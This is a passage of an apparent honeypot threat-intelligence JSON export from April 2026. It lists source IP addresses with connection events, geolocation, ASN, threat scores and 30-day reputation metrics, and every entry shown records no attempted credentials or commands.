        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Balne\u00e1rio Cambori\u00fa",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T02:49:53.438000+00:00",
        "last_seen_30d": "2026-04-28T03:03:59.988000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.184": {
      "attack_count": 4,
      "first_seen": "2026-04-01T10:57:42.386Z",
      "last_seen": "2026-04-01T10:57:45.658Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T10:54:37.279000+00:00",
        "last_seen_30d": "2026-04-30T03:37:09.259000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 25,
        "Cowrie": 4
      }
    },
    "3.82.104.80": {
      "attack_count": 4,
      "first_seen": "2026-04-30T00:55:56.299Z",
      "last_seen": "2026-04-30T00:56:03.030Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.8,
        "persistence": 24.2,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 29,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T00:58:58+00:00",
        "last_seen_30d": "2026-04-30T00:57:04.135000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4,
        "Honeytrap": 3,
        "Ciscoasa": 1
      }
    },
    "46.98.156.51": {
      "attack_count": 4,
      "first_seen": "2026-04-28T02:57:15.026Z",
      "last_seen": "2026-04-28T03:01:38.016Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Dnipro",
      "asn": 15377,
      "as_org": "Traditional LLC",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T02:55:59.145000+00:00",
        "last_seen_30d": "2026-04-28T03:03:47.991000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "64.62.156.24": {
      "attack_count": 4,
      "first_seen": "2026-04-07T12:13:16.789Z",
      "last_seen": "2026-04-16T15:00:59.503Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 235,
        "days_active_30d": 30,
        "ports_targeted_30d": 64,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T10:58:25+00:00",
        "last_seen_30d": "2026-04-30T11:49:16.277000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 132,
        "Honeytrap": 68,
        "Miniprint": 16,
        "ConPot": 13,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "65.49.1.148": {
      "attack_count": 4,
      "first_seen": "2026-04-28T05:33:14.110Z",
      "last_seen": "2026-04-28T05:33:18.188Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 84.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 15.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 28,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-03T11:37:45+00:00",
        "last_seen_30d": "2026-04-30T14:51:44.196000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Cowrie": 4,
        "ConPot": 3,
        "Honeytrap": 3,
        "H0neytr4p": 1,
        "Honeyaml": 1
      }
    },
    "91.231.89.225": {
      "attack_count": 3,
      "first_seen": "2026-04-11T00:03:56.540Z",
      "last_seen": "2026-04-11T00:03:56.541Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 79.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T16:02:31+00:00",
        "last_seen_30d": "2026-04-30T21:43:44.890000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 37,
        "Cowrie": 3
      }
    },
    "101.35.224.34": {
      "attack_count": 2,
      "first_seen": "2026-04-18T19:46:07.813Z",
      "last_seen": "2026-04-18T19:46:38.149Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T19:46:07.813000+00:00",
        "last_seen_30d": "2026-04-18T19:47:38.700000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.212.141.79": {
      "attack_count": 2,
      "first_seen": "2026-04-30T05:28:19.386Z",
      "last_seen": "2026-04-30T05:28:33.270Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 136334,
      "as_org": "Vortex Netsol Private Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T05:28:19.386000+00:00",
        "last_seen_30d": "2026-04-30T05:29:39.765000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "104.236.3.25": {
      "attack_count": 2,
      "first_seen": "2026-04-26T07:23:38.927Z",
      "last_seen": "2026-04-26T07:24:22.268Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T07:23:38.927000+00:00",
        "last_seen_30d": "2026-04-26T07:25:28.168000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "111.241.187.85": {
      "attack_count": 2,
      "first_seen": "2026-04-30T04:22:24.121Z",
      "last_seen": "2026-04-30T04:22:37.379Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T04:22:24.121000+00:00",
        "last_seen_30d": "2026-04-30T04:23:43.304000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.43.180.56": {
      "attack_count": 2,
      "first_seen": "2026-04-12T18:52:54.249Z",
      "last_seen": "2026-04-12T18:53:09.919Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gunsan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T18:52:54.249000+00:00",
        "last_seen_30d": "2026-04-12T18:54:18.639000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.30.118.0": {
      "attack_count": 2,
      "first_seen": "2026-04-14T11:02:13.735Z",
      "last_seen": "2026-04-14T11:02:25.964Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 58470,
      "as_org": "IX Peering for Mobilink and Link Direct International.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T11:02:13.735000+00:00",
        "last_seen_30d": "2026-04-14T11:03:28.012000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "129.122.178.241": {
      "attack_count": 2,
      "first_seen": "2026-04-29T20:30:51.488Z",
      "last_seen": "2026-04-29T20:31:05.003Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Luanda",
      "asn": 37645,
      "as_org": "ZAP-Angola",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T20:30:51.488000+00:00",
        "last_seen_30d": "2026-04-29T20:32:12.837000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.74.158.247": {
      "attack_count": 2,
      "first_seen": "2026-04-05T13:56:52.670Z",
      "last_seen": "2026-04-05T13:57:06.416Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Grand Island",
      "asn": 15108,
      "as_org": "Allo Communications LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T13:56:52.670000+00:00",
        "last_seen_30d": "2026-04-05T13:58:09.593000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.144.37.160": {
      "attack_count": 2,
      "first_seen": "2026-04-27T06:38:55.278Z",
      "last_seen": "2026-04-27T06:38:55.655Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T06:38:55.278000+00:00",
        "last_seen_30d": "2026-04-27T06:40:00.795000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "176.126.78.69": {
      "attack_count": 2,
      "first_seen": "2026-04-06T12:44:15.573Z",
      "last_seen": "2026-04-06T12:44:23.256Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Islington",
      "asn": 203380,
      "as_org": "DA International Group Ltd.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T12:44:15.573000+00:00",
        "last_seen_30d": "2026-04-06T12:45:31.093000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "181.115.171.191": {
      "attack_count": 2,
      "first_seen": "2026-04-27T08:00:18.594Z",
      "last_seen": "2026-04-27T08:02:18.595Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 6568,
      "as_org": "EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T08:00:18.594000+00:00",
        "last_seen_30d": "2026-04-27T08:03:23.440000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 2
      }
    },
    "186.207.249.112": {
      "attack_count": 2,
      "first_seen": "2026-04-27T19:42:43.191Z",
      "last_seen": "2026-04-27T19:44:43.193Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bauru",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T19:42:43.191000+00:00",
        "last_seen_30d": "2026-04-27T19:45:56.764000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "196.188.252.27": {
      "attack_count": 2,
      "first_seen": "2026-04-30T17:32:04.643Z",
      "last_seen": "2026-04-30T17:32:17.799Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T17:32:04.643000+00:00",
        "last_seen_30d": "2026-04-30T17:33:22.951000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "2.39.49.51": {
      "attack_count": 2,
      "first_seen": "2026-04-02T15:24:22.858Z",
      "last_seen": "2026-04-02T15:24:35.547Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Lissone",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T15:24:22.858000+00:00",
        "last_seen_30d": "2026-04-02T15:25:40.249000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.77.147.217": {
      "attack_count": 2,
      "first_seen": "2026-04-26T17:51:54.682Z",
      "last_seen": "2026-04-26T17:53:54.686Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ouro Preto",
      "asn": 270310,
      "as_org": "ELETRONIC SPORT S BRASILIA LTD ME",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T17:51:54.682000+00:00",
        "last_seen_30d": "2026-04-26T18:04:36.073000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.84.88.54": {
      "attack_count": 2,
      "first_seen": "2026-04-10T00:00:17.478Z",
      "last_seen": "2026-04-10T00:00:25.491Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T00:00:17.478000+00:00",
        "last_seen_30d": "2026-04-10T00:01:26.394000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "46.20.194.62": {
      "attack_count": 2,
      "first_seen": "2026-04-29T11:03:21.112Z",
      "last_seen": "2026-04-29T11:03:33.444Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tajikistan",
      "country_code": "TJ",
      "city": "Dushanbe",
      "asn": 24722,
      "as_org": "LLC Babilon-T",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T11:03:21.112000+00:00",
        "last_seen_30d": "2026-04-29T11:04:39.178000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.79.224.253": {
      "attack_count": 2,
      "first_seen": "2026-04-29T05:45:30.344Z",
      "last_seen": "2026-04-29T05:46:01.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T05:45:30.344000+00:00",
        "last_seen_30d": "2026-04-29T05:47:05.757000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "5.164.30.72": {
      "attack_count": 2,
      "first_seen": "2026-04-22T06:56:53.461Z",
      "last_seen": "2026-04-22T06:57:05.486Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tula",
      "asn": 52207,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T06:56:53.461000+00:00",
        "last_seen_30d": "2026-04-22T06:58:14.452000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.39.19.233": {
      "attack_count": 2,
      "first_seen": "2026-04-28T19:09:33.398Z",
      "last_seen": "2026-04-28T19:09:46.051Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Pyatigorsk",
      "asn": 12683,
      "as_org": "Rostelecom",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T19:09:33.398000+00:00",
        "last_seen_30d": "2026-04-28T19:10:50.814000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.209.112": {
      "attack_count": 2,
      "first_seen": "2026-04-03T10:53:42.256Z",
      "last_seen": "2026-04-03T10:54:13.076Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T10:53:42.256000+00:00",
        "last_seen_30d": "2026-04-03T10:55:21.904000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "83.36.149.110": {
      "attack_count": 2,
      "first_seen": "2026-04-04T00:18:58.388Z",
      "last_seen": "2026-04-04T00:19:11.393Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Valdemoro",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
